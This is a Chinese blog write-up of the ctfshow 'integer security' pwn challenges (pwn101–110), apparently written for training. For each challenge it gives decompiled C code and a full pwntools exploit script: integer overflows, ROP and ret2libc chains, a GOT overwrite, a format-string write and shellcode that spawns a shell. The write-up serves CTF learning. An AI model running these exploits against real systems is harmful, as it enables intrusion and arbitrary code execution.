首页/文章/CTF PWN

ctfshow pwn 整数安全

整数安全部分 WP

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

pwn101

题目描述

先学点东西吧

c
int __fastcall main(int argc, const char **argv, const char **envp){  unsigned int v4; // [rsp+0h] [rbp-10h] BYREF  int v5; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v6; // [rsp+8h] [rbp-8h]  v6 = __readfsqword(0x28u);  init(a1: argc, a2: argv, a3: envp);  logo();  puts(s: "Maybe these help you:");  useful();  v4 = 0x80000000;  v5 = 0x7FFFFFFF;  printf(format: "Enter two integers: ");  if ( (unsigned int)__isoc99_scanf(a1: "%d %d", &v4, &v5) == 2 )  {    if ( v4 == 0x80000000 && v5 == 0x7FFFFFFF )      gift();    else      printf(format: "upover = %d, downover = %d\n", v4, v5);    return 0;  }  else  {    puts(s: "Error: Invalid input. Please enter two integers.");    return 1;  }}

一个是有符号,一个是无符号,脚本如下

python
#! /usr/bin/env python3from pwn import *context.arch = 'amd64'context.os = 'linux'elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28228)p.recvuntil(b'Enter two integers: ')v4 = 0x80000000v5 = 0x7FFFFFFFv4 = u32(p32(v4),signed=True)payload = str(v4).encode() + b' ' + str(v5).encode()p.sendline(payload)p.interactive()

pwn102

题目描述

还是简单的知识

c
int __fastcall main(int argc, const char **argv, const char **envp){  int v4; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v5; // [rsp+8h] [rbp-8h]  v5 = __readfsqword(0x28u);  init(a1: argc, a2: argv, a3: envp);  logo();  puts(s: "Maybe these help you:");  useful();  v4 = 0;  printf(format: "Enter an unsigned integer: ");  __isoc99_scanf(a1: "%u", &v4);  if ( v4 == -1 )    gift();  else    printf(format: "Number = %u\n", v4);  return 0;}

脚本如下

python
#! /usr/bin/env python3from pwn import *context.arch = 'amd64'context.os = 'linux'elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28295)p.recvuntil(b'Enter an unsigned integer: ')v4 = -1v4 = u32(p32(v4,signed=True))payload = str(v4).encode()p.sendline(payload)p.interactive()

pwn103

题目描述

看着好像还是不难

c
unsigned __int64 ctfshow(){  int v1; // [rsp+4h] [rbp-6Ch] BYREF  void *src; // [rsp+8h] [rbp-68h]  _BYTE dest[88]; // [rsp+10h] [rbp-60h] BYREF  unsigned __int64 v4; // [rsp+68h] [rbp-8h]  v4 = __readfsqword(0x28u);  v1 = 0;  src = nullptr;  printf(format: "Enter the length of data (up to 80): ");  __isoc99_scanf(a1: "%d", &v1);  if ( v1 <= 80 )  {    printf(format: "Enter the data: ");    __isoc99_scanf(a1: " %[^\n]", dest);    memcpy(dest, src, n: v1);    if ( (unsigned __int64)dest > 0x1BF52 )      gift();  }  else  {    puts(s: "Invalid input! No cookie for you!");  }  return __readfsqword(0x28u) ^ v4;}
python
#! /usr/bin/env python3from pwn import *context.arch = 'amd64'context.os = 'linux'elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28119)p.recvuntil(b'Enter the length of data (up to 80): ')p.sendline(b'0')p.recvuntil(b'Enter the data: ')p.sendline(b'1')p.interactive()

pwn104

题目描述

有什么是可控的?

c
ssize_t ctfshow(){  _BYTE buf[10]; // [rsp+2h] [rbp-Eh] BYREF  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF  LODWORD(nbytes) = 0;  puts(s: "How long are you?");  __isoc99_scanf(a1: "%d", &nbytes);  puts(s: "Who are you?");  return read(fd: 0, buf, (unsigned int)nbytes);}

整数溢出,有后门函数

python
#! /usr/bin/env python3from pwn import *context.arch = 'amd64'context.os = 'linux'elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28108)p.recvuntil(b'How long are you?\n')p.sendline(b'-1')p.recvuntil(b'Who are you?\n')payload = b'a' * 0xe + p64(0) + p64(0x400791)p.sendline(payload)p.interactive()

pwn105

题目描述

看着好像没啥问题

c
int __cdecl main(int argc, const char **argv, const char **envp){  _DWORD buf[258]; // [esp+0h] [ebp-408h] BYREF  buf[256] = &argc;  init();  logo();  puts(s: "[+] Check your permissions:");  read(fd: 0, buf, nbytes: 0x400u);  ctfshow(s: (char *)buf);  puts(s: "wtf");  return 0;}char *__cdecl ctfshow(char *s){  char dest[8]; // [esp+7h] [ebp-11h] BYREF  unsigned __int8 v3; // [esp+Fh] [ebp-9h]  v3 = strlen(s);  if ( v3 <= 3u || v3 > 8u )  {    puts(s: "Authentication failed!");    exit(status: -1);  }  printf(format: "Authentication successful, Hello %s", s);  return strcpy(dest, src: s);}
python
#! /usr/bin/env python3from pwn import *context.arch = 'i386'context.os = 'linux'elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28209)t_len = 260p.recvuntil(b'[+] Check your permissions:\n')payload = b'a' * 0x15 + p32(0x804870E)payload = payload.ljust(t_len, b'a')p.sendline(payload)p.interactive()

v3 是 int8 那么实际大小就是 0~256 ,多的会被截断

pwn106

题目描述

还是非常简单

c
int __cdecl main(int argc, const char **argv, const char **envp){  int v4; // [esp-14h] [ebp-20h]  int v5; // [esp-10h] [ebp-1Ch]  int v6; // [esp+0h] [ebp-Ch] BYREF  int *p_argc; // [esp+4h] [ebp-8h]  p_argc = &argc;  init();  logo();  puts(s: "1.login");  puts(s: "2.quit");  printf(format: "Your choice:");  __isoc99_scanf(a1: "%d", a2: &v6, a3: v4, a4: v5);  if ( v6 == 1 )  {    login(a1: p_argc);  }  else  {    if ( v6 == 2 )    {      puts(s: "Bye~");      exit(status: 0);    }    puts(s: "Invalid Choice!");  }  return 0;}int login(){  _BYTE s[40]; // [esp+8h] [ebp-230h] BYREF  char buf[516]; // [esp+30h] [ebp-208h] BYREF  memset(s, c: 0, n: sizeof(s));  memset(s: buf, c: 0, n: 0x200u);  puts(s: "Please input your username:");  read(fd: 0, buf: s, nbytes: 0x19u);  printf(format: "Hello %s\n", s);  puts(s: "Please input your passwd:");  read(fd: 0, buf, nbytes: 0x199u);  return check_passwd(s: buf);}char *__cdecl check_passwd(char *s){  char dest[11]; // [esp+4h] [ebp-14h] BYREF  unsigned __int8 v3; // [esp+Fh] [ebp-9h]  v3 = strlen(s);  if ( v3 > 3u && v3 <= 8u )  {    puts(s: "Success");    fflush(stream: stdout);    return strcpy(dest, src: s);  }  else  {    puts(s: "Invalid Password");    return (char *)fflush(stream: stdout);  }}

还是同理

python
#! /usr/bin/env python3from pwn import *context.arch = 'i386'context.os = 'linux'elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28228)p.recvuntil(b'Your choice:')p.sendline(b'1')p.recvuntil(b'Please input your username:\n')p.sendline(b'1')p.recvuntil(b'Please input your passwd:\n')t_len = 260payload = b'a' * 0x18 + p32(0x8048919)payload = payload.ljust(t_len, b'a')p.sendline(payload)p.interactive()

pwn107

题目描述

类型转换

c
int __cdecl getch(int a1, unsigned int a2){  unsigned int v2; // eax  char v4; // [esp+Bh] [ebp-Dh]  unsigned int i; // [esp+Ch] [ebp-Ch]  for ( i = 0; ; ++i )  {    v4 = getchar();    if ( v4 == 0 || v4 == 10 || i >= a2 )      break;    v2 = i;    *(_BYTE *)(v2 + a1) = v4;  }  *(_BYTE *)(a1 + i) = 0;  return a1 + i;}
python
#! /usr/bin/env python3from pwn import *context.arch = 'i386'context.os = 'linux'elf = ELF('./pwn')rop = ROP(elf)getch = 0x80484E3atoi = 0x80483c0data_addr = 0x804A024add_esp_addr = 0x0804835asyscall_addr = rop.find_gadget(['int 0x80', 'ret']).address#p = remote('pwn.challenge.ctf.show', 28260)p = process('./pwn')p.recvuntil(b'How many bytes do you want me to read? ')p.sendline(b'-1')p.recvuntil(b'bytes of data!\n')payload = b'a' * 0x30payload += p32(getch)payload += p32(add_esp_addr)payload += p32(data_addr)payload += p32(0xffffffff)payload += b'BBBB'payload += p32(getch)payload += p32(add_esp_addr)payload += p32(data_addr + 8)payload += p32(0xffffffff)payload += b'BBBB'payload += p32(atoi)payload += p32(add_esp_addr)payload += p32(data_addr + 8)payload += b'BBBB'payload += p32(data_addr)payload += p32(syscall_addr)p.sendline(payload)p.sendline(b'/bin/sh')p.sendline(b'11')p.interactive()

这里利用 getch 写入 bin/sh ,再用 atoi 控制 eax

bash
[*] Switching to interactive modeYou said: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe3\x84\x04\x08Z\x83\x04\x08$\xa0\x04\x08\xff\xff\xff\xffBBBB\xe3\x84\x04\x08Z\x83\x04\x08,\xa0\x04\x08\xff\xff\xff\xffBBBB\xc0\x83\x04\x08Z\x83\x04\x08,\xa0\x04\x08BBBB$\xa0\x04\x08Є\x04\x08$ whoamilmx$  

但是远端是崩的,那环境可能不同,比如 ecx edx 不为 0 ,那换 ret2libc

python
#! /usr/bin/env python3from pwn import *context.arch = 'i386'context.os = 'linux'elf = ELF('./pwn')rop = ROP(elf)printf_plt = elf.plt['printf']printf_got = elf.got['printf']atoi_got = elf.got['atoi']getchar_got = elf.got['getchar']show_addr = elf.symbols['show']p = remote('pwn.challenge.ctf.show', 28260)#p = process('./pwn')p.recvuntil(b'How many bytes do you want me to read? ')p.sendline(b'-1')p.recvuntil(b'bytes of data!\n')payload = b'a' * 0x30payload += p32(printf_plt)payload += p32(show_addr)payload += p32(printf_got)p.sendline(payload)p.recvuntil(b'\n')printf_addr = u32(p.recv(4))print(f'printf address: {hex(printf_addr)}')p.recvuntil(b'How many bytes do you want me to read? ')p.sendline(b'-1')p.recvuntil(b'bytes of data!\n')payload = b'a' * 0x30payload += p32(printf_plt)payload += p32(show_addr)payload += p32(atoi_got)p.sendline(payload)p.recvuntil(b'\n')atoi_addr = u32(p.recv(4))print(f'atoi address: {hex(atoi_addr)}')p.recvuntil(b'How many bytes do you want me to read? ')p.sendline(b'-1')p.recvuntil(b'bytes of data!\n')payload = b'a' * 0x30payload += p32(printf_plt)payload += p32(show_addr)payload += p32(getchar_got)p.sendline(payload)p.recvuntil(b'\n')getchar_addr = u32(p.recv(4))print(f'getchar address: {hex(getchar_addr)}')libc_base = atoi_addr - 0x2e6f0system_addr = libc_base + 	0x3cd10binsh_addr = libc_base + 0x17b8cfp.recvuntil(b'How many bytes do you want me to read? ')p.sendline(b'-1')p.recvuntil(b'bytes of data!\n')payload = b'a' * 0x30payload += p32(system_addr)payload += b'BBBB'payload += p32(binsh_addr)p.sendline(payload)p.interactive()

pwn108

题目描述

学累了吧,来玩个游戏

c
__int64 __fastcall main(__int64 a1, char **a2, char **a3){  int i; // [rsp+8h] [rbp-28h]  int j; // [rsp+Ch] [rbp-24h]  __int64 v6; // [rsp+10h] [rbp-20h]  _BYTE v7[3]; // [rsp+25h] [rbp-Bh] BYREF  unsigned __int64 v8; // [rsp+28h] [rbp-8h]  v8 = __readfsqword(0x28u);  sub_9BA(a1, a2, a3);  sub_A55();  puts(s: "Free shooting games! Three bullets available!");  printf(format: "I placed the target near: %p\n", &puts);  puts(s: "shoot!shoot!");  v6 = sub_B78();  for ( i = 0; i <= 2; ++i )  {    puts(s: "biang!");    read(fd: 0, buf: &v7[i], nbytes: 1u);    getchar();  }  if ( (unsigned int)sub_BC2(a1: v7) != 0 )  {    for ( j = 0; j <= 2; ++j )      *(_BYTE *)(j + v6) = v7[j];  }  if ( dlopen(file: nullptr, mode: 1) == nullptr )    exit(status: 1);  puts(s: "bye~");  return 0;}__int64 sub_B78(){  char nptr[24]; // [rsp+0h] [rbp-20h] BYREF  unsigned __int64 v2; // [rsp+18h] [rbp-8h]  v2 = __readfsqword(0x28u);  sub_AE3(a1: nptr, a2: 16);  return atol(nptr);}unsigned __int64 __fastcall sub_AE3(_BYTE *a1, int a2){  int i; // [rsp+18h] [rbp-18h]  unsigned __int64 v6; // [rsp+28h] [rbp-8h]  v6 = __readfsqword(0x28u);  for ( i = 0; i < a2; ++i )  {    if ( (unsigned int)read(fd: 0, buf: a1, nbytes: 1u) == -1 )      exit(status: 1);    if ( *a1 == 10 )      break;    ++a1;  }  return __readfsqword(0x28u) ^ v6;}

这道题漏洞点是,程序会读取我们输入的地址,并在后续这个地址进行 3 次写入 1 字节,那么会检查我们输入的内容

c
__int64 __fastcall sub_BC2(_BYTE *a1){  if ( (*a1 != 0xC5 || a1[1] != 0xF2) && (*a1 != 34 || a1[1] != 0xF3) && *a1 != 0x8C && a1[1] != 0xA3 )    return 1;  puts(s: "You always want a Gold Finger!");  return 0;}

这是用来规避常见的 one_gadget 地址,但是由于 libc 中我们的高地址是相同的,我们只需要修改低 3 字节即可,这里用到的是执行 dlopen 会调用 strlen 函数,我们修改 strlen got 表即可

python
#! /usr/bin/env python3from pwn import *libc = ELF('./glibc-2.27-3ubuntu1.5/lib/x86_64-linux-gnu/libc.so.6')context.arch = 'amd64'context.os = 'linux'elf = ELF('./pwn')p = remote('pwn.challenge.ctf.show',28106)#p = process('./pwn')p.recvuntil(b'I placed the target near: ')puts_addr = p.recvline().strip()puts_addr = int(puts_addr,16)print(hex(puts_addr))libc_base = puts_addr - libc.sym['puts']strlen_addr = libc_base + libc.got['strlen']print(hex(strlen_addr))p.recvuntil(b'shoot!shoot!\n')p.sendline(str(strlen_addr).encode())one_gadget = libc_base + 0xe54feone = p64(one_gadget)[:3]def write_one():    for b in one:        p.recvuntil(b'biang!\n')        p.send(bytes([b]) + b'\n')write_one()p.interactive()
bash
$ cat c*ctfshow{48c50d83-cb89-42ab-8743-c056983e69d5}$ 

pwn109

c
int __cdecl sub_90B(int a1){  int v2; // [esp+0h] [ebp-40Ch] BYREF  _DWORD buf[258]; // [esp+4h] [ebp-408h] BYREF  buf[256] = &a1;  sub_73B();  sub_7A2();  while ( 1 )  {    while ( 1 )    {      puts(s: "What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!");      __isoc99_scanf(a1: "%d", a2: &v2);      getchar();      if ( v2 != 2 )        break;      sub_8E4(format: (char *)buf);    }    if ( v2 == 3 )      break;    if ( v2 == 1 )      sub_8A4(buf, nbytes: 0x400u);    else      printf(format: "What do you mean by %d", v2);  }  puts(s: "See you~");  return 0;}ssize_t __cdecl sub_8A4(void *buf, size_t nbytes){  printf(format: "%x\n", buf);  return read(fd: 0, buf, nbytes);}int __cdecl sub_8E4(char *format){  return printf(format);}
bash
[*] '/home/lmx/pwn/ctfshow/整数安全/109_pwn109/pwn'    Arch:       i386-32-little    RELRO:      Full RELRO    Stack:      No canary found    NX:         NX unknown - GNU_STACK missing    PIE:        PIE enabled    Stack:      Executable    RWX:        Has RWX segments

可以看到这道题没有 NX ,那同时看见这道题是有泄露栈地址和格式化字符串漏洞的,那我们利用思路就是在栈构造 shellcode 加修改返回地址,但是这道题返回地址跟平常的 ebp + 4 不同,我们看一下汇编

asm
push    ebpmov     ebp, esppush    ebxpush    ecx

可以看见栈上 push 进了 ebx ecx ebp

asm
lea     esp, [ebp-8]pop     ecxpop     ebxpop     ebplea     esp, [ecx-4]

那这里我们可以看见,首先将 esp 指向 ecx 之后恢复 ecx ebx ebp ,之后呢将esp 指向 ecx-4,之后 ret ,那也就是说返回地址是 ecx - 4 ,那我们将 saved ecx 改成 buf + 4 即可

python
#! /usr/bin/env python3from pwn import *context.arch = 'i386'context.os = 'linux'elf = ELF('./pwn')p = process('./pwn')p.recvuntil(b'Quit!!!\n')p.sendline(b'1')offset = 17leak = p.recv(8)buf_addr = int(leak, 16)print(hex(buf_addr))saved_ecx = buf_addr + 0x400print(hex(saved_ecx))shell_addr = buf_addr + 0x200prefix = p32(shell_addr)payload = prefix + fmtstr_payload(    offset,    {saved_ecx: buf_addr + 0x4},    write_size='byte',    numbwritten=len(prefix),)payload = payload.ljust(0x200, b'a') + asm(shellcraft.sh())p.sendline(payload)p.recvuntil(b'Quit!!!\n')p.sendline(b'2')p.recvuntil(b'Quit!!!\n')p.sendline(b'3')p.interactive()

pwn110

c
unsigned __int16 *input(){  __int16 v1; // [esp+Ah] [ebp-41Eh] BYREF  char buf[1025]; // [esp+Dh] [ebp-41Bh] BYREF  unsigned __int16 v3; // [esp+40Eh] [ebp-1Ah] BYREF  strcpy(buf, "???");  memset(&buf[4], 0, 1021);  __isoc99_scanf(a1: "%hd", a2: &v1);  if ( v1 > 1024 )  {    puts(s: "You are soooooooooo ******");    exit(status: 0);  }  v3 = v1;  printf(format: "%x %u\n", buf, (unsigned __int16)v1);  read(fd: 0, buf, nbytes: v3);  qmemcpy(str, buf, sizeof(str));  return &v3;}

有整数溢出,还泄露了栈的地址

bash
[*] '/home/lmx/pwn/ctfshow/整数安全/110_pwn110/pwn'    Arch:       i386-32-little    RELRO:      Partial RELRO    Stack:      No canary found    NX:         NX unknown - GNU_STACK missing    PIE:        No PIE (0x8048000)    Stack:      Executable    RWX:        Has RWX segments    Stripped:   No

NX 没开

python
#! /usr/bin/env python3from pwn import *context.arch = 'i386'context.os = 'linux'elf = ELF('./pwn')#p = process('./pwn')p = remote('pwn.challenge.ctf.show', 28106)p.recvuntil(b'1+1= ?')p.sendline(b'-1')p.recvline()buf = p.recv(8)buf_addr = int(buf, 16)print(hex(buf_addr))p.recvline()shellcode = asm(shellcraft.sh())payload = shellcodepayload = payload.ljust(0x41B + 4, b'\x00') + p32(buf_addr)p.sendline(payload)p.interactive()

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...